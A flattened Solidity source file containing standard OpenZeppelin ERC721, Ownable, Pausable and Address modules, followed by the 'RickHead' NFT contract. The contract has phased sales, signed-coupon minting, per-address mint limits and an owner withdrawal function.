transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: address zero is not a valid owner"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overridden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: rickhead.sol pragma solidity ^0.8.4; contract RickHead is ERC721, Pausable, Ownable { using Counters for Counters.Counter; using Strings for uint256; enum SalePhase { Locked, Private, Presale, Public } enum CouponType { Private, Presale, FreeMint } struct Coupon { bytes32 r; bytes32 s; uint8 v; } Counters.Counter private _tokenId; uint64 public constant maxSupply = 1000; uint64 private maxMintsPerAddress = 20; uint64 private maxPrivateMintsPerAddress = 2; uint64 private maxPresaleMintsPerAddress = 2; uint64 private maxFreeMintsPerAddress = 1; uint64 private maxPrivateMints = 100; uint64 private totalPrivateMints = 0; uint64 public mintPrice = 0.20 ether; string private baseURI = "ipfs://QmbRvokfZdLmCRgUjZzozQPJiB8sfefFW5hQ3sEJqqhNaH/"; address private _adminSigner = 0xcCAd13A51947cE87a4f4b3D2E226CaeBE5e6dA40; mapping(address => uint256) public PrivateMintsCount; mapping(address => uint256) public PresaleMintsCount; mapping(address => uint256) public TeamMintsCount; event NewURI(string newURI, address updatedBy); event WithdrawnPayment(uint256 contractBalance, address transferTo); event updatePhase(SalePhase phase, uint64 price, address updatedBy); event updateAdminSigner(address adminSigner, address updatedBy); SalePhase public phase = SalePhase.Locked; constructor() ERC721("RickHead", "DDC") {} /** * @dev setPhase updates the price and the phase to (Locked, Private, Presale or Public). $ * Emits a {Unpaused} event. * * Requirements: * * - Only the owner can call this function */ function setPhase(uint64 phasePrice_, SalePhase phase_) external onlyOwner { phase = phase_; mintPrice = phasePrice_; emit updatePhase(phase_, phasePrice_, msg.sender); } /** * @dev setMaxPrivateMintsPerAddress updates maxPrivateMintsPerAddress * * Requirements: * * - Only the owner can call this function */ function setMaxPrivateMintsPerAddress(uint64 max) external onlyOwner { maxPrivateMintsPerAddress = max; } /** * @dev setMaxPresaleMintsPerAddress updates maxPresaleMintsPerAddress * * Requirements: * * - Only the owner can call this function */ function setMaxPresaleMintsPerAddress(uint64 max) external onlyOwner { maxPresaleMintsPerAddress = max; } /** * @dev setMaxMintsPerAddress updates maxMintsPerAddress * * Requirements: * * - Only the owner can call this function */ function setMaxMintsPerAddress(uint64 max) external onlyOwner { maxMintsPerAddress = max; } /** * @dev setMaxPrivateMints updates maxPrivateMints * * Requirements: * * - Only the owner can call this function */ function setMaxPrivateMints(uint64 max) external onlyOwner { maxPrivateMints = max; } /** * @dev setTotalPrivateMints updates totalPrivateMints * * Requirements: * * - Only the owner can call this function */ function setTotalPrivateMints(uint64 max) external onlyOwner { totalPrivateMints = max; } /** * @dev setBaseUri updates the new token URI in contract. * * Emits a {NewURI} event. * * Requirements: * * - Only owner of contract can call this function **/ function setBaseUri(string memory uri) external onlyOwner { baseURI = uri; emit NewURI(uri, msg.sender); } /** * @dev mint * * Emits [Transfer] event. * * Requirements: * * - should have a valid coupon if we are () **/ function mint(uint64 amount, Coupon memory coupon) external payable whenNotPaused { uint256 currentSupply = _tokenId.current(); require(phase != SalePhase.Locked, "Sale is not available"); if (phase == SalePhase.Private) { bytes32 digest = keccak256( abi.encode(CouponType.Private, msg.sender) ); require(_isVerifiedCoupon(digest, coupon), "Invalid coupon"); require( PrivateMintsCount[msg.sender] + amount <= maxPrivateMintsPerAddress, "Max supply to mint per address during private sale has been reached" ); require( totalPrivateMints + amount <= maxPrivateMints, "Max supply to mint during private sale has been reached" ); } else if (phase == SalePhase.Presale) { bytes32 digest = keccak256( abi.encode(CouponType.Presale, msg.sender) ); require(_isVerifiedCoupon(digest, coupon), "Invalid coupon"); require( PresaleMintsCount[msg.sender] + amount <= maxPresaleMintsPerAddress, "Max supply to mint per address during presale has been reached" ); } require( currentSupply + amount <= maxSupply, "Max supply limit reached" ); require( balanceOf(msg.sender) + amount <= maxMintsPerAddress, "Max mint per address reached" ); require(msg.value >= amount * mintPrice, "Insufficient funds"); for (uint256 i = 0; i < amount; i++) { if (phase == SalePhase.Private) { totalPrivateMints++; PrivateMintsCount[msg.sender]++; } else if (phase == SalePhase.Presale) { PresaleMintsCount[msg.sender]++; } _tokenId.increment(); _safeMint(msg.sender, _tokenId.current()); } } /** * @dev batchFreeMint * * Requirements: * * - Only owner of contract can call this function **/ function batchFreeMint(address[] memory _winnerAddresses, uint64 amount) external onlyOwner { uint256 currentSupply = _tokenId.current(); require( currentSupply + (_winnerAddresses.length * amount) <= maxSupply, "Max supply limit reached, please reduce mint amount" ); for (uint i = 0; i < _winnerAddresses.length; i++) { for (uint256 j = 0; j < amount; j++) { _tokenId.increment(); _safeMint(_winnerAddresses[i], _tokenId.current()); } } } /** * @dev freeMint * * Emits [Transfer] event. * * Requirements: * * - we can call it only once per address and with a valid coupon **/ function freeMint(Coupon memory coupon) external payable whenNotPaused { require(phase == SalePhase.Public, "Sale is not available"); uint256 currentSupply = _tokenId.current(); bytes32 digest = keccak256( abi.encode(CouponType.FreeMint, msg.sender) ); require(_isVerifiedCoupon(digest, coupon), "Invalid coupon"); require( TeamMintsCount[msg.sender] < maxFreeMintsPerAddress, "Max supply to mint for free per address has been reached" ); require( currentSupply + 1 <= maxSupply, "Max supply limit reached" ); TeamMintsCount[msg.sender]++; _tokenId.increment(); _safeMint(msg.sender, _tokenId.current()); } /** * @dev _isVerifiedCoupon verify the coupon * */ function _isVerifiedCoupon(bytes32 digest, Coupon memory coupon) internal view returns(bool) { address signer = ecrecover(digest, coupon.v, coupon.r, coupon.s); require(signer != address(0), "ECDSA: invalid signature"); // Added check for zero address return signer == _adminSigner; } /** * @dev setAdminSigner updates the adminSigner address. * * Emits a {Unpaused} event. * * Requirements: * * - Only the owner can call this function */ function setAdminSigner(address _newAdminSigner) public onlyOwner() returns(address) { _adminSigner = _newAdminSigner; emit updateAdminSigner(_newAdminSigner, msg.sender); return _adminSigner; } /** * @dev getAdminSigner returns the adminSigner address * */ function getAdminSigner() public view returns(address) { return _adminSigner; } /** * @dev getbaseURI returns the base uri * */ function getbaseURI() public view returns(string memory) { return baseURI; } /** * @dev tokenURI returns the uri to meta data * */ function tokenURI(uint256 tokenId) public view override returns(string memory) { require(_exists(tokenId), "ERC721: Query for non-existent token"); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev pause() is used to pause contract. * * Emits a {Paused} event. * * Requirements: * * - Only the owner can call this function **/ function pause() public onlyOwner whenNotPaused { _pause(); } /** * @dev unpause() is used to unpause contract. * * Emits a {Unpaused} event. * * Requirements: * * - Only the owner can call this function **/ function unpause() public onlyOwner whenPaused { _unpause(); } /** * @dev withdraw is used to withdraw payment from contract. * * Emits a {WithdrawnPayment} event. * * Requirements: * * - Only the owner can call this function **/ function withdraw() public payable onlyOwner() { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); emit WithdrawnPayment(balance, msg.sender); } /** * @dev remainingPrivateSupply returns the remaining mint per address during private sale * */ function remainingPrivateSupply() public view returns(uint256) { return maxPrivateMints - totalPrivateMints; } /** * @dev availableMints returns the remaining mint per address * */ function availableMints(address user) public view returns(uint256) { if (phase == SalePhase.Private) { if (maxPrivateMintsPerAddress >= PrivateMintsCount[user]) { return maxPrivateMintsPerAddress - PrivateMintsCount[user]; } } else if (phase == SalePhase.Presale) { if (maxPresaleMintsPerAddress >= PresaleMintsCount[user]) { return maxPresaleMintsPerAddress - PresaleMintsCount[user]; } } else if (phase == SalePhase.Public) { if (maxMintsPerAddress >= balanceOf(user)) { return maxMintsPerAddress - balanceOf(user); } } return 0; } /** * @dev remainingFreeMints returns the remaining free mint per address * */ function remainingFreeMints(address user) public view returns(uint256) { if (maxFreeMintsPerAddress >= TeamMintsCount[user]) { return maxFreeMintsPerAddress - TeamMintsCount[user]; } return 0; } /** * @dev circulatingSupply returns the current supply. * */ function circulatingSupply() public view returns(uint256) { return _tokenId.current(); } }
